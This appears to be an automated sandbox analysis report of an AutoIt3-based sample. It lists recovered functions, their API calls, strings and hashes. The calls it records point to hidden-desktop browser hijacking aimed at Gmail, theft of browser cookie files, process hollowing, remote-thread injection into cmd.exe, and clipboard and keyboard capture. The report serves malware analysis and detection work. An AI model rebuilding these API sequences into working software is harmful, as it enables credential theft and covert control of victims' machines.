SelectObject.GDI32(?,00000000), ref: 03B9B666
SelectPalette.GDI32(?,00000000,00000000), ref: 03B9B682
RealizePalette.GDI32(?), ref: 03B9B68D
SetTextColor.GDI32(?,00000000), ref: 03B9B6AB
SetBkColor.GDI32(?,00000000), ref: 03B9B6C5
BitBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 03B9B6ED
SelectPalette.GDI32(?,00000000,000000FF), ref: 03B9B6FF
SelectObject.GDI32(?,00000000), ref: 03B9B709
DeleteDC.GDI32(?), ref: 03B9B724

Part of subcall function 03B979B0: CreateBrushIndirect.GDI32(?), ref: 03B97A5A

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: ColorSelect$CreatePalette$Object$Compatible$BitmapRealizeText$BrushDeleteFillIndirectRectTable
String ID:
API String ID: 1299887459-0
Opcode ID: 9f630fa9a4a58cf572d2135067bb0b2df7d914faea0a3359f6f6bcafa0f2c899
Instruction ID: 7dabbf2c06e5384721fbf6c70861c9017ceedb9df650b690eddcf6cadde1f004
Opcode Fuzzy Hash: 9f630fa9a4a58cf572d2135067bb0b2df7d914faea0a3359f6f6bcafa0f2c899
Instruction Fuzzy Hash: 5912A875A00208AFEF14DFA8D985F9EB7F8EB48318F1585B6F914EB261C674E940CB50

Function 008B4632 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(008D0980), ref: 008B465C
IsClipboardFormatAvailable.USER32(0000000D), ref: 008B466A
GetClipboardData.USER32(0000000D), ref: 008B4672
CloseClipboard.USER32 ref: 008B467E
GlobalLock.KERNEL32(00000000), ref: 008B469A
CloseClipboard.USER32 ref: 008B46A4
GlobalUnlock.KERNEL32(00000000), ref: 008B46B9
IsClipboardFormatAvailable.USER32(00000001), ref: 008B46C6
GetClipboardData.USER32(00000001), ref: 008B46CE
GlobalLock.KERNEL32(00000000), ref: 008B46DB
GlobalUnlock.KERNEL32(00000000), ref: 008B470F
CloseClipboard.USER32 ref: 008B481F

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 1b2e2a2ecdf271cad988c89c7601f8c324b7fdcb0cbf584037a18ece3475f8c3
Instruction ID: c36ab32e517ef968fca6c470e06fb09706a7ce052a9c2cd53dc632d64b0b77bc
Opcode Fuzzy Hash: 1b2e2a2ecdf271cad988c89c7601f8c324b7fdcb0cbf584037a18ece3475f8c3
Instruction Fuzzy Hash: 5E519231205305ABD701EF64EC8AFAE77A8FF95B11F00062AF556D2292DF70D9088B67

Function 03BB2170 Relevance: 26.4, APIs: 4, Strings: 11, Instructions: 133processthreadCOMMON

Download Yara Rule

APIs

OpenDesktopA.USER32(virtualdesk,00000000,000000FF,10000000), ref: 03BB227D
CreateDesktopA.USER32(virtualdesk,00000000,00000000,00000000,10000000,00000000), ref: 03BB22A2
SetThreadDesktop.USER32(00000000,00000000,03BB235A), ref: 03BB22B2
CreateProcessA.KERNEL32(00000000,00000000,?, --mute-audio --disable-audio --new-window --disable-3d-apis --disable-gpu --disable-d3d11 ,?,03BB2530,?,03BB2524,00000000,00000000,00000000,00000030,00000000,00000000,00000044,?), ref: 03BB232D

Strings

--mute-audio --disable-audio --new-window --disable-3d-apis --disable-gpu --disable-d3d11 , xrefs: 03BB2306
C:\Program Files\Google\Chrome\Application\chrome.exe, xrefs: 03BB21BC
\dark\User Data", xrefs: 03BB225D
D, xrefs: 03BB22C6
--user-data-dir=", xrefs: 03BB21C6, 03BB220B, 03BB224D
https://mail.google.com/mail/u/0/#inbox, xrefs: 03BB219E
virtualdesk, xrefs: 03BB2278, 03BB229D, 03BB22DA
C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe, xrefs: 03BB2201
\dark\Chrome\User Data", xrefs: 03BB21D6
\dark\Brave-Browser\User Data", xrefs: 03BB221B
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe, xrefs: 03BB2243

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Desktop$Create$OpenProcessThread
String ID: --mute-audio --disable-audio --new-window --disable-3d-apis --disable-gpu --disable-d3d11 $--user-data-dir="$C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe$C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe$C:\Program Files\Google\Chrome\Application\chrome.exe$D$\dark\Brave-Browser\User Data"$\dark\Chrome\User Data"$\dark\User Data"$https://mail.google.com/mail/u/0/#inbox$virtualdesk
API String ID: 1654231886-2641536602
Opcode ID: b3df0752a4c2e52281a6ee9142bcfdd9660016ce0c8030d81f9164bfcc688112
Instruction ID: cdab53942bcc3cf968c3141bea2cb23860303d9ed3a317d224764544690cbc8e
Opcode Fuzzy Hash: b3df0752a4c2e52281a6ee9142bcfdd9660016ce0c8030d81f9164bfcc688112
Instruction Fuzzy Hash: 34518274A0030CAFDB10EBE0DC41BED77B9EB48708F6048F5E514AF656DBB4AA018B24

Function 03B65974 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 03B65991
GetProcAddress.KERNEL32(00000000,GetLongPathNameA), ref: 03B659A2
lstrcpyn.KERNEL32(?,?,?,?,?,kernel32.dll), ref: 03B659D6
lstrcpyn.KERNEL32(?,?,?,kernel32.dll), ref: 03B65A47
lstrcpyn.KERNEL32(?,?,?,?,?,?,kernel32.dll), ref: 03B65A82
FindFirstFileA.KERNEL32(?,?,?,?,?,?,?,?,kernel32.dll), ref: 03B65A95
FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,kernel32.dll), ref: 03B65AA2
lstrlen.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,kernel32.dll), ref: 03B65AAE
lstrcpyn.KERNEL32(0000005D,?,00000104), ref: 03B65AE2
lstrlen.KERNEL32(?,0000005D,?,00000104), ref: 03B65AEE
lstrcpyn.KERNEL32(?,0000005C,?,?,0000005D,?,00000104), ref: 03B65B17

Strings

kernel32.dll, xrefs: 03B6598C
\, xrefs: 03B65AC0
GetLongPathNameA, xrefs: 03B6599C

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: b778efec0da443f98e3015e1f7f328e115b9a8bb837c81be9a4d020765f85d77
Instruction ID: 105ba5907b270cd9be1fbc7a25383fcad1522f761fec3846be8b56b9e8a90ca5
Opcode Fuzzy Hash: b778efec0da443f98e3015e1f7f328e115b9a8bb837c81be9a4d020765f85d77
Instruction Fuzzy Hash: 03511D75E00259AFCB21DFECCC85AEEB7B8EF05218F0805F6A155E7242D7389E548B64

Function 00F1DB65 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00F1DB82
GetProcAddress.KERNEL32(00000000,GetLongPathNameA), ref: 00F1DB93
lstrcpyn.KERNEL32(?,?,?,?,?,kernel32.dll), ref: 00F1DBC7
lstrcpyn.KERNEL32(?,?,?,kernel32.dll), ref: 00F1DC38
lstrcpyn.KERNEL32(?,?,?,?,?,?,kernel32.dll), ref: 00F1DC73
FindFirstFileA.KERNEL32(?,?,?,?,?,?,?,?,kernel32.dll), ref: 00F1DC86
FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,kernel32.dll), ref: 00F1DC93
lstrlen.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,kernel32.dll), ref: 00F1DC9F
lstrcpyn.KERNEL32(0000005D,?,00000104), ref: 00F1DCD3
lstrlen.KERNEL32(?,0000005D,?,00000104), ref: 00F1DCDF
lstrcpyn.KERNEL32(?,0000005C,?,?,0000005D,?,00000104), ref: 00F1DD08

Strings

\, xrefs: 00F1DCB1
GetLongPathNameA, xrefs: 00F1DB8D
kernel32.dll, xrefs: 00F1DB7D

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 318c5a2c19ccd67809573ff85a99bb521a7cd55aed4e8c08e7b9a10bee2f873a
Instruction ID: 9b37399d1e4de1e0548a27ebd5235423bb18c55e51300e2047f48543af9f40ef
Opcode Fuzzy Hash: 318c5a2c19ccd67809573ff85a99bb521a7cd55aed4e8c08e7b9a10bee2f873a
Instruction Fuzzy Hash: 86516D71D00518EFCB01DFE8DC89EEEB7B8AF44310F0405A2E059E7241D7749E84ABA1

Function 03B8AF84 Relevance: 22.7, APIs: 15, Instructions: 241memorythreadprocessCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,03B8B295), ref: 03B8B004
OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,03B8B295), ref: 03B8B0F4
InitializeProcThreadAttributeList.KERNELBASE(00000000,00000001,00000000,?), ref: 03B8B106
GetProcessHeap.KERNEL32(00000000,?,02000000,00000000,00000000,00000000,03B8B295), ref: 03B8B111
RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 03B8B117
InitializeProcThreadAttributeList.KERNELBASE(00000000,00000001,00000000,?), ref: 03B8B12A
UpdateProcThreadAttribute.KERNELBASE(?,00000000,00000000,?,00000004,00000000,00000000), ref: 03B8B145
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00080004,00000000,00000000,?,?,00000000,00000001,00000000,?,02000000,00000000), ref: 03B8B17C
NtQueryInformationProcess.NTDLL(?,00000000,?,00000018,?), ref: 03B8B19C
ReadProcessMemory.KERNEL32(?,?,?,00000004,?,00000000,00000000,00000000,00000000,00000000,00080004,00000000,00000000,?,?,00000000), ref: 03B8B1C4
ReadProcessMemory.KERNEL32(?,?,?,00001000,?,?,?,?,00000004,?,00000000,00000000,00000000,00000000,00000000,00080004), ref: 03B8B1F3

Part of subcall function 03B8B2A4: GetCurrentProcessId.KERNEL32(?,00000000,03B8B4F8,?,00000000), ref: 03B8B31A
Part of subcall function 03B8B2A4: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,00000000,03B8B4F8,?,00000000), ref: 03B8B3E7
Part of subcall function 03B8B2A4: NtQueryInformationProcess.NTDLL(?,00000000,?,00000018,?), ref: 03B8B3FF

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Process$AttributeProcThread$CreateCurrentHeapInformationInitializeListMemoryQueryRead$AllocateOpenUpdate
String ID:
API String ID: 747061493-0
Opcode ID: bd797b9052d3abc19676c43cf0c0f64e1138902673c1b35fe9f2cdc1a21c863e
Instruction ID: 8a3d06f840a3fdf09a9bf113874318bcb79e64abd4d836a6ee3e9388c56793c3
Opcode Fuzzy Hash: bd797b9052d3abc19676c43cf0c0f64e1138902673c1b35fe9f2cdc1a21c863e
Instruction Fuzzy Hash: 2691FB75E10318AFDB00EBA8CD81FDEB7B8BF48708F5040B5E508EB241D774AA458B65

Function 008988CD Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00898E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00898E3C
Part of subcall function 00898E20: GetLastError.KERNEL32(?,00898900,?,?,?), ref: 00898E46
Part of subcall function 00898E20: GetProcessHeap.KERNEL32(00000008,?,?,00898900,?,?,?), ref: 00898E55
Part of subcall function 00898E20: HeapAlloc.KERNEL32(00000000,?,00898900,?,?,?), ref: 00898E5C
Part of subcall function 00898E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00898E73

Part of subcall function 00898EBD: GetProcessHeap.KERNEL32(00000008,00898916,00000000,00000000,?,00898916,?), ref: 00898EC9
Part of subcall function 00898EBD: HeapAlloc.KERNEL32(00000000,?,00898916,?), ref: 00898ED0
Part of subcall function 00898EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00898916,?), ref: 00898EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00898931
_memset.LIBCMT ref: 00898946
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00898965
GetLengthSid.ADVAPI32(?), ref: 00898976
GetAce.ADVAPI32(?,00000000,?), ref: 008989B3
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 008989CF
GetLengthSid.ADVAPI32(?), ref: 008989EC
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 008989FB
HeapAlloc.KERNEL32(00000000), ref: 00898A02
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00898A23
CopySid.ADVAPI32(00000000), ref: 00898A2A
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00898A5B
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00898A81
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00898A95

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: fabacb6ad2f142dc4e059781aba859ba8b4c60e1c177b902f14946918c014990
Instruction ID: ba41a039369e516d2934352bb24c73ca17bf50e5063f4845b9b9209aa3512386
Opcode Fuzzy Hash: fabacb6ad2f142dc4e059781aba859ba8b4c60e1c177b902f14946918c014990
Instruction Fuzzy Hash: 6F614A7190021AFFDF00EFA5DC45AAEBBB9FF45300F08821AE915E6291DB319A05CB61

Function 03BBA584 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 272filestringtimeCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,03BBAA2C,?,?,?,?,00000000,00000000), ref: 03BBA5E5
lstrcmpW.KERNEL32(00000000,03BBAA48,00000000,?,00000000,03BBAA2C,?,?,?,?,00000000,00000000), ref: 03BBA618
lstrcmpW.KERNEL32(00000000,03BBAA4C,00000000,03BBAA48,00000000,?,00000000,03BBAA2C,?,?,?,?,00000000,00000000), ref: 03BBA62B
FileTimeToLocalFileTime.KERNEL32(?,?,00000000,03BBAA4C,00000000,03BBAA48,00000000,?,00000000,03BBAA2C,?,?,?,?,00000000,00000000), ref: 03BBA643
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 03BBA6DD
FindNextFileW.KERNEL32(00000000,?,00000000,03BBAA48,00000000,?,00000000,03BBAA2C,?,?,?,?,00000000,00000000), ref: 03BBA984
FindClose.KERNEL32(00000000,00000000,?,00000000,03BBAA48,00000000,?,00000000,03BBAA2C,?,?,?,?,00000000,00000000), ref: 03BBA992

Part of subcall function 03B6816C: CharLowerBuffW.USER32(00000000,00000000,?,?,00000000,03BBA89C,?,?,?), ref: 03B68196

Strings

c:\windows, xrefs: 03BBA853
Folder||, xrefs: 03BBA808
|File|, xrefs: 03BBA918
%.2d/%.2d/%.4d %.2d:%.2d, xrefs: 03BBA6BA, 03BBA754

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: File$Time$Find$Locallstrcmp$BuffCharCloseFirstLowerNext
String ID: %.2d/%.2d/%.4d %.2d:%.2d$Folder||$c:\windows$|File|
API String ID: 627796702-3011307534
Opcode ID: 7f9a4ff31e91a73d0c79b97f83c8c6d98e8e88c73786d5ca704a88dd49a6760d
Instruction ID: 1a038175b6dc3ae1c88a76dbcad86f4e529e2b9988fa4b13ddaa4309d2b9ea10
Opcode Fuzzy Hash: 7f9a4ff31e91a73d0c79b97f83c8c6d98e8e88c73786d5ca704a88dd49a6760d
Instruction Fuzzy Hash: 31C1FC38E0065D9BDB10EB65CD84BEEB7B9AF49308F5041F6D408AB251DB789E85CF60

Function 03BB44C8 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 174nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(00000010,?,00100000,?), ref: 03BB450F
NtDuplicateObject.NTDLL(00000000,?,000000FF,03BC2FE0,00000000,00000000,00000002), ref: 03BB45B4
NtClose.NTDLL(00000000), ref: 03BB45D5

Part of subcall function 03BB4420: NtQueryObject.NTDLL(00000000,00000002,00000000,000003E8,?), ref: 03BB443D
Part of subcall function 03BB4420: NtQueryObject.NTDLL(00000000,00000002,00000000,?,00000000), ref: 03BB4457

NtClose.NTDLL(00000000), ref: 03BB4602
NtClose.NTDLL(00000000), ref: 03BB460D
NtClose.NTDLL(00000000), ref: 03BB463A
NtClose.NTDLL(00000000), ref: 03BB4645

Strings

cookies-journal, xrefs: 03BB467E
\cookies, xrefs: 03BB468F

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Close$ObjectQuery$DuplicateInformationSystem
String ID: \cookies$cookies-journal
API String ID: 1689247874-3437292708
Opcode ID: 9088aa7aede58532bf93503dc62aa3eb9d9b29eed7a33371eb5bc5eafe9ef155
Instruction ID: 3acfb9aef18a3fa31be89a1fa3d93f204e1eb96d2801a55d220a86a7dd6020fc
Opcode Fuzzy Hash: 9088aa7aede58532bf93503dc62aa3eb9d9b29eed7a33371eb5bc5eafe9ef155
Instruction Fuzzy Hash: 26615F386103489FDB21FFA6EA40AAD73B8FB4935CF1449F5E8009F656DBB4A940CB50

Function 03B8B2A4 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 180sleepprocessnativeCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,03B8B4F8,?,00000000), ref: 03B8B31A
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,00000000,03B8B4F8,?,00000000), ref: 03B8B3E7
NtQueryInformationProcess.NTDLL(?,00000000,?,00000018,?), ref: 03B8B3FF
ReadProcessMemory.KERNEL32(?,?,?,00000004,?,?,00000000,?,00000018,?,00000000,00000000,00000000,00000000,00000000,00000004), ref: 03B8B427
ReadProcessMemory.KERNEL32(?,?,?,00001000,?,?,?,?,00000004,?,?,00000000,?,00000018,?,00000000), ref: 03B8B456
WriteProcessMemory.KERNEL32(?,?,00000000,00000000,?), ref: 03B8B4A8
ResumeThread.KERNEL32(?,?,?,00000000,00000000,?), ref: 03B8B4B1
Sleep.KERNEL32(000001F4,?,?,?,00000000,00000000,?), ref: 03B8B4BB
GetTickCount.KERNEL32 ref: 03B8B4C0

Strings

D, xrefs: 03B8B3B3

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Process$Memory$Read$CountCreateCurrentInformationQueryResumeSleepThreadTickWrite
String ID: D
API String ID: 4190092080-2746444292
Opcode ID: 16c7b047271d2177249615a5a982dc9aa90297fc018c7b55bb0ce1f3652394d0
Instruction ID: 407a4c0d45636e1afbc6799299cd60b1be3ad8bca0cbd33c04ac0eb08009bfeb
Opcode Fuzzy Hash: 16c7b047271d2177249615a5a982dc9aa90297fc018c7b55bb0ce1f3652394d0
Instruction Fuzzy Hash: 8861CA75E0024CAFDB04EBA9CD81BDEB7F8EF48314F5440B5E108EB251D778AA858B64

Function 008C0A3A Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 008C147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,008C040D,?,?), ref: 008C1491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 008C0B0C

Part of subcall function 00844D37: __itow.LIBCMT ref: 00844D62
Part of subcall function 00844D37: __swprintf.LIBCMT ref: 00844DAC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 008C0BAB
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 008C0C43
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 008C0E82
RegCloseKey.ADVAPI32(00000000), ref: 008C0E8F

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 0e38f2fb9d81831f6f8e7a6d5109a05af6f7c29b34716acc611bbebe57eb2492
Instruction ID: 8335a21ade5100fdad7f9af4d85987bdb0267e78ed477726c531f13de250cfb7
Opcode Fuzzy Hash: 0e38f2fb9d81831f6f8e7a6d5109a05af6f7c29b34716acc611bbebe57eb2492
Instruction Fuzzy Hash: 65E11831604214AFCB14DF29C895E2ABBF5FF89754F04896DF84ADB262DA30ED05CB52

Function 008A0508 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 008A0530
GetAsyncKeyState.USER32(000000A0), ref: 008A05B1
GetKeyState.USER32(000000A0), ref: 008A05CC
GetAsyncKeyState.USER32(000000A1), ref: 008A05E6
GetKeyState.USER32(000000A1), ref: 008A05FB
GetAsyncKeyState.USER32(00000011), ref: 008A0613
GetKeyState.USER32(00000011), ref: 008A0625
GetAsyncKeyState.USER32(00000012), ref: 008A063D
GetKeyState.USER32(00000012), ref: 008A064F
GetAsyncKeyState.USER32(0000005B), ref: 008A0667
GetKeyState.USER32(0000005B), ref: 008A0679

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: ced8f0fae200b17f5b50875a5ee707f2bf672bffa887affebefc177eeb5bf2c2
Instruction ID: f520facb5464287018cfb74810ce36d1c24bc166bceb6723917c328411b9ec1e
Opcode Fuzzy Hash: ced8f0fae200b17f5b50875a5ee707f2bf672bffa887affebefc177eeb5bf2c2
Instruction Fuzzy Hash: 01419960D047C95DFF3196A498043B5BFA0FB63348F08415AD9C6D7AC1EB9499D8CF92

Function 03B8DCB8 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 174processinjectionmemoryCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?,00000000,03B8DEA1), ref: 03B8DD63
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?,00000000,00000000,00000000,00000000,00000000,00000004), ref: 03B8DD83
OpenProcess.KERNEL32(001F0FFF,00000000,?,00000000,03B8DEA1), ref: 03B8DDA1
VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00001000,00000040,00000000,00000000,00000000,00001000,00000040,001F0FFF,00000000,?,00000000,03B8DEA1), ref: 03B8DDE4
WriteProcessMemory.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00001000,00000040,001F0FFF), ref: 03B8DE57
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 03B8DE6D
CloseHandle.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00001000,00000040,001F0FFF,00000000,?,00000000,03B8DEA1), ref: 03B8DE79

Strings

D, xrefs: 03B8DD2E
cmd.exe, xrefs: 03B8DD0A

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Process$Create$AllocCloseHandleMemoryOpenRemoteThreadVirtualWrite
String ID: D$cmd.exe
API String ID: 1146768790-2919368343
Opcode ID: 0007ceafece713d18cc4fde70b092c43d45ef9f2538b1512dcdc488a1f5926d8
Instruction ID: 1d1085e14a9967e419a876dd1164baf355aee543900e539b9d84aafc5a39e041
Opcode Fuzzy Hash: 0007ceafece713d18cc4fde70b092c43d45ef9f2538b1512dcdc488a1f5926d8
Instruction Fuzzy Hash: 90513D75A40718AAEB11FBA4CC41FEEB7B8AF05718F1440B6E610BB1C1D7B4A94187A4

Function 008A443D Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 008A4451
__swprintf.LIBCMT ref: 008A445E

Part of subcall function 008638C8: __woutput_l.LIBCMT ref: 00863921

FindResourceW.KERNEL32(?,?,0000000E), ref: 008A4488
LoadResource.KERNEL32(?,00000000), ref: 008A4494
LockResource.KERNEL32(00000000), ref: 008A44A1
FindResourceW.KERNEL32(?,?,00000003), ref: 008A44C1
LoadResource.KERNEL32(?,00000000), ref: 008A44D3
SizeofResource.KERNEL32(?,00000000), ref: 008A44E2
LockResource.KERNEL32(?), ref: 008A44EE
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 008A454F

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
